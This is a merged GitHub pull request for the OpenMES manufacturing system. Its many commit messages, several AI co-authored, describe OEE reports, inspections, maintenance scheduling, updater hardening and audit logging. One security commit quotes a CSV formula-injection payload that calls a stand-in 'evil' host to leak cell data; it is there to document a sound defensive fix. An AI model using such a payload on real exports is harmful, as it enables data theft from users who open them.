Develop#34
Merged
Merged
Conversation
Implements issue #12 (Overall Equipment Effectiveness) end-to-end. Backend - New PHP backed enum App\Enums\DowntimeKind (Planned, Unplanned, Changeover) replaces is_planned boolean on downtime_reasons. Migration backfills existing rows and drops the old column. Changeover now counts as availability loss (alongside Unplanned), per industry standard. - DowntimeService::getLossMinutes() supersedes getUnplannedMinutes() and filters by kind IN (unplanned, changeover). getByReason() returns kind metadata (kind, kind_label, kind_color, is_loss) for richer Pareto views. - OeeCalculationService::getIdealCycleTime() — removed PG-only EXTRACT(EPOCH FROM …) in favor of PHP-side cycle-time calculation so the service runs on SQLite (tests) and Postgres (prod) alike. - App\Support\OeeBand helper centralizes the 65/85 thresholds and the Tailwind class mapping previously duplicated across views. UI - New <x-oee-gauge> Blade component — inline SVG semicircle with three color zones (red <65, yellow 65-84, green ≥85), needle, and label. Used on /admin/dashboard (per-line widget) and /admin/oee (summary cards). - /admin/oee gains Daily/Weekly/Monthly granularity toggle. Trend chart aggregates by date / ISO week / Y-m bucket and adjusts axis labels. - New /admin/oee/print printable report with @media print rules: - Header with line/range/generated-at timestamp - Gauge + 8 stat cards per line - Pareto downtime breakdown colored by kind - Daily records table - Each line on its own A4 page Security - Print endpoint validates inputs (line_id integer + exists, dates Y-m-d, date_to >= date_from, range capped at 366 days) so garbage inputs return 422/302 instead of triggering 500 + Ignition stack traces. - Removed url()->previous() from print view's Back link (was open-redirect via Referer header) — now a fixed route('admin.oee.index'). Tests - 9 unit tests for OeeCalculationService covering A×P×Q, edge cases (zero production, no downtime, performance cap), and the changeover loss semantics. - 4 API tests for /api/v1/oee, /api/v1/downtimes, downtime-reasons schema. - 3 console tests for oee:calculate command. - 9 security tests for the new print endpoint (auth, RBAC, input validation, XSS escape, SQL-injection rejection, open-redirect proofing). - 4 Playwright E2E specs (smoke + screenshots) against the live stack; playwright.config.ts + package.json added at repo root. Net effect on full suite: 658 tests, 1681 assertions — 0 new regressions. The legacy is_planned cleanup also fixed 15 unrelated pre-existing failures in the main suite (31→16 errors). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Print button now downloads the PDF directly (Content-Disposition: attachment)
instead of opening an intermediate HTML page that required the user to invoke
the browser print dialog manually.
- New /admin/oee/print/pdf route (oee.print.pdf) backed by Barryvdh\DomPDF
(already in composer for Batch Series Reports).
- New admin/oee/print-pdf.blade.php — dompdf-friendly view: DejaVu Sans,
inline CSS, tables instead of flexbox, basic SVG gauge that dompdf can
render. Carries through the same content as the HTML preview (gauge,
8-stat header, Pareto-by-kind, daily records, threshold legend).
- Filename pattern: oee-report-{line-slug|all-lines}-{from}_{to}.pdf
- Controller refactored — gatherPrintData() shared between print() (HTML
preview, kept for direct URL access) and printPdf() (new download).
- Validation rules and date-range cap apply to both endpoints.
- index.blade and show.blade buttons re-pointed to oee.print.pdf, target=_blank
removed since browsers handle the inline download themselves.
Tests
- 3 new feature tests in OeePrintSecurityTest covering: RBAC on PDF route,
PDF content-type + %PDF- magic header + attachment disposition, validation
rejection (invalid line_id, invalid date, range cap).
- 1 new Playwright spec (oee-pdf-download.spec.ts) clicks the button and
asserts a download event with the expected filename pattern.
Full suite: 661 tests, 1692 assertions, 0 new regressions.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…e trend Fixes 4 issues from manual testing: 1. Filter default window was 8 days (subDays(7)) while seeder generated 7 days — the first day appeared empty. Both web and API now use the inclusive 7-day convention: today() and 6 prior days. - Web\Admin\OeeController::index/show/print: today()->subDays(6) - Api\V1\OeeController::show: subDays(max(0, $days - 1)) 2. Daily Records "Shift" column always showed "All" because no shifts were configured. OeeDemoSeeder now bootstraps three full-day shifts per line (Day 06-14, Late 14-22, Night 22-06) and distributes downtimes and batches across them, so OEE is computed per shift. 3. OEE Trend chart aggregated all lines into one average bar per bucket. Controller now also exposes a per-line trend (one series per line). The view adds a hybrid Combined / Per-line toggle next to the Daily/Weekly/Monthly granularity switch. Combined keeps the original avg-with-threshold colors; Per-line draws grouped bars with a distinct color per line and a name legend below. The toggle only appears when more than one line has data. 4. Same off-by-one root cause as #1 — fixed by #1. Plus: Playwright `getByRole('link', {name})` was switched to `{exact: true}` since "Daily" now collides with the "Daily Records" header literal in some locales / search modes. Full suite: 661 tests, 1692 assertions, 0 new regressions (16+9 pre-existing, unchanged from previous commit). E2E smoke: 4/4 green after exact-match fix. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Implements issue #14 — inbound QC for incoming material lots with auto-generated non-conformance issues on failure. Schema (4 migrations) - add_material_and_source_to_issues: issues.material_id (FK, nullable), issues.source (enum-like string), issues.work_order_id → nullable so non-conformances can exist without a production WO. - create_inspection_plans: name, scope (material XOR material_type XOR generic), criteria JSON, is_active. - create_inspections: plan_id (snapshot ref), material_id, lot_number, supplier_lot_ref, quantity_received, inspector_id, started_at, completed_at, status (pending|pass|fail|conditional_pass), notes, issue_id (links to auto-NC). - create_inspection_results: criterion + spec + recorded value(s) + computed is_passed, snapshotted from the plan at start time. Service — App\Services\Quality\InboundInspectionService - start(): copies plan criteria into result rows (frozen at start). - recordResult(): writes one criterion value, auto-evaluates pass/fail from criterion_type + spec_min/spec_max. - complete(): computes overall result: * fail if any required result is null or false (or any failed when there are no required criteria), * conditional_pass if all required pass but at least one optional failed, * pass otherwise. On fail it creates a linked Issue with source=inbound_inspection, work_order_id=null, IssueType INBOUND_QC_FAIL (added to seeder). API (under /api/v1) - inspection-plans: index/show (any auth), store/update/destroy (Admin). - inspections: index (with material/lot/status/date filters), show, store, recordResult, complete, stats (window pass rate). Web UI - /admin/inspection-plans: list + form with dynamic criteria builder (Alpine), scope radio (material/material_type/generic), per-criterion spec_min/spec_max for measurements. - /inspections (Supervisor + Admin): tabs Pending/Recent/Failed, mini stats (pending count, fails in last 30d). - /inspections/create: pick material + lot + optional plan. - /inspections/{id}: pending → record-results form + complete button; completed → read-only summary with NC link if any. - Sidebar entries under Maintenance group. Tests (27 total, all green) - Unit/Services/InboundInspectionServiceTest (10): pass/fail/conditional paths, measurement spec ranges, auto-NC creation, idempotency guard. - Feature/Api/InspectionApiTest (10): RBAC, validation, full flow, filters, stats, post-completion edits blocked. - Feature/Web/InspectionWebTest (7): guest/operator denial, supervisor + admin access, XSS escape in plan name, full end-to-end flow. Full suite: 660 tests, 1673 assertions, 0 new regressions (16+9 pre-existing, unchanged). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…t fails Closes the last open AC of #14 (dashboard visibility for pending inspections and 30-day pass rate). Plugs into the existing reorderable widget system: - Migration registers `inbound_qc_overview` row in dashboard_widgets (zone=main, sort_order=25 between OEE 20 and Recent WOs 30). Admins can enable/disable/reorder it from Settings → Dashboard widgets like any other built-in widget. - DashboardController computes inbound_qc_stats only when the widget is enabled — pending count, 30-day completed/failed/conditional counts, pass rate, and 3 most recent failures. Skips queries entirely when disabled. - dashboard.blade.php renders 4-card grid (pending / pass rate / failed / conditional) plus a "recent failures" list with direct links to the inspection detail. Pass-rate cell is color-coded: green ≥95%, yellow 80-94%, red <80%, gray when no completed inspections yet. - Widget integrates with the same `$wOrder` CSS-order map used by other widgets, so manual reordering in DashboardWidget admin works without any blade changes. Tests (+7): - widget seeded by migration with correct defaults - renders when enabled and has data, hidden when disabled - CSS order reflects sort_order changes - pass rate color thresholds match (80–94% → yellow) - handles zero completed inspections (shows —) - recent failure links point to inspection detail page Full suite: 667 tests, 1694 assertions, 0 new regressions (16+9 pre-existing, unchanged). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Issues table now allows null work_order_id for non-conformances raised from inbound inspection. The shared issues list assumed every issue had a work order and crashed with UrlGenerationException when generating the WO link. Now the view conditionally renders WO or material context (with source badge), and the controller eager-loads material to avoid N+1. Adds a Playwright regression test that logs in as admin and asserts /admin/issues renders the 4 inbound NCs with Material chip and source badge, never the route exception. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
… 1/8)
Before copying release files, snapshot every file that will be overwritten
to storage/app/update-backups/{timestamp}-{version}/, plus a manifest of
files that will be newly created. Wrap copyDirectory + migrate in a single
try/catch — any failure restores files from the snapshot, deletes the
newly-created files, and clears caches so no half-applied bytecode lingers.
copyDirectory now throws on copy/mkdir failure instead of silently swallowing
errors, which is what lets the rollback trigger. Migrate failure is also
hard-failure (was just Log::warning) — schema and files now revert together.
Keeps last 3 backups, prunes older.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
After downloading the release ZIP, check its sha256 against the value advertised in the version manifest (top-level sha256 or assets[0].sha256). Mismatch aborts the update before any filesystem change. Releases without a published checksum log a warning and pass through, preserving backward compatibility with the current getopenmes.com payload. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…hardening 3/8) UpdateController::apply() no longer blocks on the long-running update. It now seeds an "update_apply_status" cache entry, dispatches ApplyUpdateJob, and redirects immediately. The whole download → verify → extract → snapshot → copy → migrate → cache-clear → prune flow lives in UpdateApplier (testable in isolation) and reports progress through the same cache key at each stage. New GET /admin/update/status returns the cached state as JSON. The admin banner switches to a progress mode that polls every 3s, shows the current stage/message, stops on terminal states (completed, failed, rolled_back), and surfaces a Reload button when done. Stale terminal states older than 1h are ignored so the normal "update available" banner still appears later. Note: requires QUEUE_CONNECTION other than sync (jobs migration is already in place). With the default sync driver the job still runs inline, documented at the top of ApplyUpdateJob. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ing 4/8)
UpdateApplier wraps the destructive phase (copyDirectory + migrate) in
Artisan::call('down') / 'up' so other users get a 503 instead of hitting
half-overwritten files mid-deploy. A per-update bypass secret is generated
with Str::random(32) and cached; the resulting bypass URL is surfaced in
the progress-mode banner so the admin can keep using the app in another
tab while the system is down for everyone else.
up() also runs in the rollback finally so the app never gets stuck in
maintenance mode if restore partially fails. fail() defensively clears
the flags too. The errors/503 view does not exist so --render is omitted
(default Laravel maintenance screen serves).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ardening 5/8) The protected list keeps vendor/ off the copy path, but if the release ships a new composer.lock the live vendor/ will reference classes that don't exist yet. UpdateApplier now hashes composer.lock before copy (so the old value isn't already overwritten) and, when the hash differs, runs composer install --no-dev --no-interaction --prefer-dist --optimize-autoloader --no-scripts in the project root between copy and migrate. --no-scripts is deliberate so post-install hooks don't muck with caches mid-update. Composer is searched for via `which composer`, /usr/local/bin/composer, then $root/composer.phar. Missing binary is a soft failure (warning attached to the status cache; banner shows "vendor/ may be stale, run composer install --no-dev manually"). A non-zero exit is a hard failure — rethrows so the existing rollback restores the snapshot and lifts maintenance. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
19 tests, 44 assertions, all green: - UpdateControllerTest (10) — check/apply/status JSON contracts, cache-driven dispatch, double-dispatch guard, admin gating. - UpdateApplierTest (7) — verifyChecksum (no hash, top-level, asset, mismatch, case insensitive), setStatus persistence, pruneBackups retention. - ApplyUpdateJobTest (2) — handle delegates to UpdateApplier::run, failed() marks cache state as failed. Private methods covered via Reflection so source stays untouched. Http::fake guards every remote call. RefreshDatabase + role assignment mirrors InspectionWebTest setup. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…7/8) New system_updates table + SystemUpdate model record every update attempt: who started it, from/to version, state (queued, completed, failed, rolled_back), started_at/finished_at/duration, files_copied, error message, plus flags for checksum_verified and composer_install_ran. UpdateApplier opens a queued row at run() start and patches it at every significant transition (checksum ok, composer ran, completed) or marks it rolled_back/failed in the catch + ApplyUpdateJob::failed() paths. All audit writes are wrapped — DB outage logs a warning but never breaks the actual update. New GET /admin/update/history returns the last 50 attempts as JSON (with user). UI rendering is left for a follow-up. AuditLog (generic CRUD audit) was rejected because update isn't an entity — the dedicated table gives typed columns instead of opaque JSON payloads. Tests: 6 new (25 total green, 76 assertions). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…8/8)
Replace the soft cache-check guard with Cache::lock('update_apply_lock',
1800) in UpdateController::apply(). The lock is acquired before
dispatch; if a second admin clicks Update while one is running, the
atomic ->get() returns false and they see an "already in progress"
error — only one Job is ever enqueued.
ApplyUpdateJob::handle wraps run() in try/finally and forceRelease()s
the lock when work finishes (success or thrown). failed() also
forceRelease()s as belt-and-braces against deserialization crashes
that bypass handle().
Stale locks self-expire after 30 min (matches Job timeout). For sooner
recovery the new `php artisan update:unlock` command force-releases
the lock and clears the status cache.
Cross-machine concurrency requires a shared cache store (database,
redis, memcached) — file/array drivers only serialize within a single
node.
Tests: 27/27 green, 88 assertions. New tests cover (1) second
concurrent apply does not redispatch the Job and (2) lock is released
once the Job finishes.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…us handling
Two issues found during E2E verification with a seeded check_result and
empty status cache:
1. The refreshStatus comment "Treat empty / missing state field as 'no
in-flight update'" contained a literal double quote which terminated
the surrounding HTML x-data="..." attribute early, breaking the
entire Alpine expression with "progressMode is not defined" and
"Missing catch or finally after try" — the banner stopped working.
Rewrote the comment so it doesn't contain a double quote.
2. response()->json(null) from /admin/update/status renders as {} which
is truthy in JavaScript, so the existing if (!s) check never fired
and the banner kept switching to progress mode on every page load.
Added !s.state guard alongside.
Verified end-to-end via Playwright: with status cache empty and
check_result seeded with v999.0.0, the banner now shows "Update
available — OpenMES v999.0.0" + changelog link + Update now button.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…nment Three validation bugs surfaced when the form let users pick options the DB enum and controller didn't accept: - Form had "preventive" and "calibration" options; DB enum is planned/corrective/inspection. Submitting either failed with a 422 validation error and edit dropdown rendered as "Select type" for existing rows. Removed both options, renamed "Preventive" to "Planned". - scheduled_at was required in HTML but nullable in the controller validator. Tightened to required|date in store and update. - tool_id / line_id / workstation_id were all nullable independently, allowing events with no target. Added required_without_all so at least one of the three must be set. 13 new feature tests + 3 existing tests patched. 30/30 maintenance tests green. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Rewrite admin/maintenance-events/index.blade.php from a flat table into chronologically grouped cards: - Overdue (red border-left, "N days overdue" badge) - This week (pending/in_progress within the current week) - Later (scheduled beyond this week) - Completed last 30 days (compact, with duration + actual cost) Each card uses a Heroicons type glyph (calendar/wrench/magnifier), colored status badge (amber/blue/green/gray; in_progress pulses), and colored type badge. Meta line shows assignee, location, scheduled time, in-progress timer, and actual cost where applicable. Actions are icon-only buttons with title tooltips: view, edit, start, complete, cancel — only the ones legal for the current status render. Filter form added (search + status + type + line, all server-side via the controller's existing query). Card extracted to partials/card.blade.php so the index file stays readable. Controller gets one-line change: 'costSource' added to the eager-load. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…olution on edit)
Rewrite admin/maintenance-events/{create,edit}.blade.php with a shared
partials/form-fields.blade.php so the two pages stay in sync:
- What: title, event type, description
- Where: line / workstation / tool selects with hint "select at least
one" (mirrors the controller's required_without_all rule)
- When: scheduled_at (required)
- Who: assigned user
- Cost: cost source, actual cost, currency (with hint about
end-of-event use)
- Resolution: started_at, completed_at, resolution_notes — edit page
only, and only when status is in_progress or completed
Controller update() now accepts started_at + completed_at
(after_or_equal:started_at). resolution_notes was already accepted.
Placeholders unified to "— None —" (was inconsistent: "Not a tool",
"Not a line"). Top-of-form error summary added.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New maintenance_schedules table backs a Preventive Maintenance module: each schedule defines a target (line/workstation/tool), frequency (daily/weekly/monthly/quarterly/annually/by_hours), interval, optional preferred_time, and lead_time_days. The hourly artisan command maintenance:generate-events walks active schedules whose next_due_at <= now() + lead_time_days and creates a MaintenanceEvent, then advances next_due_at by the configured interval. Dedupe on (schedule_id, scheduled_at) keeps replays idempotent. maintenance_events gets a nullable schedule_id FK so generated events link back to their source. MaintenanceEvent::schedule() and MaintenanceSchedule::events() expose the relation; FK is nullOnDelete so deleting a schedule does not orphan past events. Admin UI under /admin/maintenance-schedules: index with empty state + filter, create/edit forms sectioned What/Where/When/Who, edit page exposes is_active + manual "Generate now" action. Sidebar link added under Maintenance Events. 25 new tests (14 service, 11 controller). All 71 maintenance tests green. Notes: by_hours frequency advances as wall-clock for now — coupling to machine runtime/OEE is a follow-up. No DB-level unique constraint on (schedule_id, scheduled_at); the application-level guard suffices for the hourly job but could race under heavy parallel runs. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
) - fix(maintenance): validate event_type, scheduled_at, target assignment - feat(maintenance): redesign index with chronological groups + badges - feat(maintenance): section forms into What/Where/When/Who/Cost - feat(maintenance): recurring schedules auto-generate events (closes #16) 71 maintenance tests green. Visually verified via Playwright.
New request_logs table captures meta of every authenticated HTTP request a user makes — method, path, route name, status, duration, IP, user agent. POST/PUT/PATCH/DELETE always log; GET/HEAD are sampled 1-in-10 (sampled=true) to keep volume bounded without losing the shape of user navigation. LogRequest middleware is appended to the web group so $request->user() is resolved by StartSession+auth before logging. Failures (DB outage, constraint races) are caught and downgraded to Log::warning so a broken audit pipeline never breaks the request. Skip prefixes: livewire/, build/, _debugbar/, _ignition/, admin/update/status — these are polling/asset noise. RequestLog model mirrors AuditLog: const UPDATED_AT=null, throws on update/delete to enforce immutability. created_at only, no body or response payload stored (meta-only by design — entity state changes are already in audit_logs). 9 tests green covering anon skip, sampling distribution, mutating always-on, skip prefixes, meta-only columns, immutability on both update and delete, and fail-safe behavior under DB outage. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Tier C — LogAuthEvent listener subscribed in AppServiceProvider writes
to audit_logs on Login/Logout/Failed:
- login action=login, user_id and entity = the user
- logout action=logout, falls back to null user when already
logged out
- login_failed action=login_failed, user_id=null, before_state stores
the attempted email/username (NEVER the password)
Each handler is wrapped in try/catch so a broken audit pipeline never
breaks authentication itself. Request resolution is also guarded so
the listener works under console/test contexts.
Tier D — added Auditable trait to Batch, BatchStep, ProcessConfirmation,
and MaintenanceSchedule. Inspection models live on a separate branch
and were skipped here.
9 tests green (5 listener + 4 trait integration). Pre-existing suite
failures unrelated to these changes.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New /admin/logs/activity surfaces a single chronological timeline merging: - audit_logs (entity CRUD + login/logout/login_failed from Tier C) - request_logs (navigation + state changes from Tier B middleware) Filters: date range (defaults to last 7 days), user, source (audit vs request), entity type, action. Each source pulls up to 200 rows under its own filters, then PHP-merges and paginates 50/page — dialect-agnostic instead of relying on SQL union semantics. Rows render with action-colored badges (created/updated/deleted/login/ logout/login_failed) for audit entries and method-colored mono badges (GET/POST/PUT/DELETE) for request entries, with status + duration_ms. Export CSV with 5000 rows/source cap. Sidebar gets "Activity Logs" alongside the existing "Audit Logs" so the legacy view stays reachable for now. 8 controller tests green (27 assertions). Verified end-to-end via Playwright: navigating the app then visiting the page shows real login events, sampled GETs, and entity Updated/Created rows in one timeline. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New /admin/logs/system page with 3 tabs aimed at dev/system diagnostics, not business activity: - Application log: reads storage/logs/laravel-YYYY-MM-DD.log (falls back to laravel.log). Bounded tail read — files larger than 2 MB are seeked to (size - 2 MB) so multi-GB logs don't blow up memory. Parses Laravel format, folds stack traces into the entry's context. Filters by date (from rotated file list), level, search. - Failed jobs: paginated list from Laravel queue's failed_jobs table. Renders payload + exception preview; retry button is placeholder pointing at `php artisan queue:retry`. Info card when the table doesn't exist (queue not yet provisioned). - Deployments: pulls from system_updates if present. On this branch the table arrives with the updater hardening series, so it currently shows an info card explaining "requires v0.12+ schema". Tail endpoint /admin/logs/system/tail returns the last 100 entries as JSON for future SSE/poll integration. 13 tests covering admin gate, default tab, multiline parsing, level + search filters, empty file handling, missing-table info cards, invalid tab → 404. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds Tier B (request_logs middleware), Tier C (auth event listener), Tier D (Auditable on Batch/BatchStep/ProcessConfirmation/MaintenanceSchedule), plus two new admin pages: /admin/logs/activity (unified user timeline) and /admin/logs/system (laravel.log + failed jobs + deployments).
A security review surfaced a CSV formula-injection vector in the new
Activity Logs export: csvEscape() only quoted ", , \r, \n and did not
prefix-escape cells starting with =, +, -, @, TAB, or CR. A logged-in
user could set their display name to =HYPERLINK("https://evil/?c="&A1,
"x") via /profile (SettingsController::updateProfile validated name as
just string|max:255) and have that payload land in any subsequent CSV
export an Admin opened, allowing data exfiltration via spreadsheet
formulas (CWE-1236).
Three additional unguarded CSV exports were found in audit and bypassed
the same way:
- Web\Admin\AuditLogController::export — username column
- Api\V1\AuditLogController::export — same field
- Api\V1\ReportController::convertReportToCsv — batch_completion and
downtime reports used native fputcsv, which does NOT escape formulas
All four exports now route through a new App\Support\Csv helper
(Csv::escape, Csv::row) that:
- Prepends an apostrophe to any cell whose first character is a known
formula trigger
- Then applies standard RFC 4180 quoting
- Emits rows terminated with \r\n
Defense in depth: name fields in SettingsController::updateProfile,
Web\Admin\UserManagementController (store + update), and the two API
StoreUserRequest / UpdateUserRequest now require the same Unicode
letter/number/space/dot/hyphen/apostrophe regex as RegisterRequest,
rejecting formula-trigger characters at the input boundary.
Tests
- 9 new Csv unit tests, 23 assertions, including a data provider over
7 formula-trigger payloads (=, +, -, @, TAB, CR, DDE classic).
- 1 new ActivityLog feature test asserts that a payload like
=HYPERLINK(...) appears in the streamed CSV in its neutralized form
(prefixed with apostrophe) and never as a raw formula.
- AuditLog API tests + User API tests stay green (regex does not
reject existing seeded names).
- CsvImport failures in the suite are pre-existing (verified by stash)
and unrelated to this change.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The codebase has email-verification routes wired (verification.notice, .verify, .resend) but the User model never implemented MustVerifyEmail and registration redirects straight to the dashboard. Existing users and new sign-ups had email_verified_at = NULL, which would break any future feature that gates on $user->hasVerifiedEmail(). RegisterController::store now stamps email_verified_at on creation so new accounts ship verified. A backfill migration sets the column on every existing NULL row. Same change has been applied live on demo.getopenmes.com (53 rows backfilled, RegisterController patched in the running container) so the demo doesn't have to wait for a deploy. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…cheduled/overdue)
…evron toggles submenu - Split Orders group button into link (navigates to /work-orders) + chevron (toggles submenu) - Collapsed/mobile sidebar: clicking Orders navigates directly instead of toggling invisible submenu - Rename sidebar submenu item "Work Orders" → "All Orders" - Add Polish translation for "All Orders"
…k, monthly=1 month
…s, hide SQL errors from users - Add max:99999999 to planned_qty/actual_qty/produced_qty validation in 6 controllers - Replace raw exception message with generic user-friendly error in WO create - Log real error with report($e) for debugging
Comments from review: 1. ResetPackagingShiftCommand: wrap $description in __() via constructor. 2. PackagingApiController + PackagingEanController: replace whereRaw and like+concat with Postgres ilike (no SQL fragment with user input). 3. PackagingApiController.scan + storeEan: capture $validated from validate() and pass only validated keys into ::create() / queries. Same change in PackagingController.scan. 4. PackagingController + PackagingEanController + PackagingApiController: default messages to English with __(), Polish translations added to lang/pl.json. 5. LabelGenerator: replace '-' fallback that was previously em-dash. 6. _label.blade.php: drop @php block; LabelGenerator now precomputes has_qr, has_barcode and content_width on the label data array so the blade is logic-free. 7. label-print-dropdown partial converted to a class-based component (App\View\Components\LabelPrintDropdown) so no PHP code remains in the blade view. Callers in work-orders/show.blade.php updated to <x-label-print-dropdown>. Old partial deleted. 8. Proactive: $woLabelTemplates query moved out of work-orders/index.blade.php @php block into WorkOrderManagementController::index. Verified: - php artisan test --filter=Packaging passes 30/30 - ./vendor/bin/pint clean - php artisan route:list shows all packaging.labels.* routes - php -l clean on all touched files
…rly cards, seed WO with planned dates - Unassign now also clears planned_start_at/planned_end_at (fixes WO staying on Gantt after unassign) - Hourly view: add visible X (unassign) button on card hover - Hourly view: reduce resize handle width (w-2 → w-1.5) to make drag easier on short cards - Seeder: add planned_start_at/planned_end_at to demo work orders so they appear on planner
…to-core # Conflicts: # backend/app/Http/Controllers/Web/Admin/WorkOrderManagementController.php
… 3 months of work orders - Move create_allocation_lot_picks migration from 123615 to 200200 (after material_lots 200000) - Move add_tenant_id_to_allocation_lot_picks from 130000 to 200300 - Generate ~46 additional work orders spread over 3 months (-7 to +83 days) with varied statuses
…, taller hourly rows - Add overlap detection for shifts (handles overnight shifts crossing midnight) - Block creating/editing shift that overlaps existing active shift - Add "Manage Shifts →" link in System Settings → Schedule tab - Increase hourly planner row height 1.5x (76→114px rows, 60→90px cards) - Add Polish translations for shift messages - Wrap all flash messages in __()
…, text-9→text-11)
….5→py-4, text-10→text-11, shift cell py-2)
refactor(packaging): promote module to core + add label printing
… operator queue), fix license badge - Add Beta status badge and notice to README - Add 4 screenshots: dashboard with OEE, weekly planner, hourly Gantt, operator queue - Add Production Planner section with feature list - Fix license badge (MIT → AGPL-3.0) - Fix demo URL (demo-2 → demo) - Fix PostgreSQL version badge (14+ → 17+)
…w findings, scanner noise
…n docker-compose - Add docker-publish.yml workflow: builds and pushes to ghcr.io/mes-open/openmes on tag push - Tags: semver (0.12.0), major.minor (0.12), latest - docker-compose.yml: image pulls from ghcr.io by default, falls back to local build - Set OPENMES_VERSION env var to pin a specific version
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Major release covering 8 feature areas with 260 files changed (~22,900
additions).
ISA-95 / IEC 62264 Foundations
Schedule Planner — Minute-Level Precision
Logging & Audit
Maintenance Overhaul (closes #16)
Updater Hardening (#30 — 8/8)
Inbound Quality Inspection (#14)
OEE Dashboard Enhancements
Test plan
lots
Manual tests :)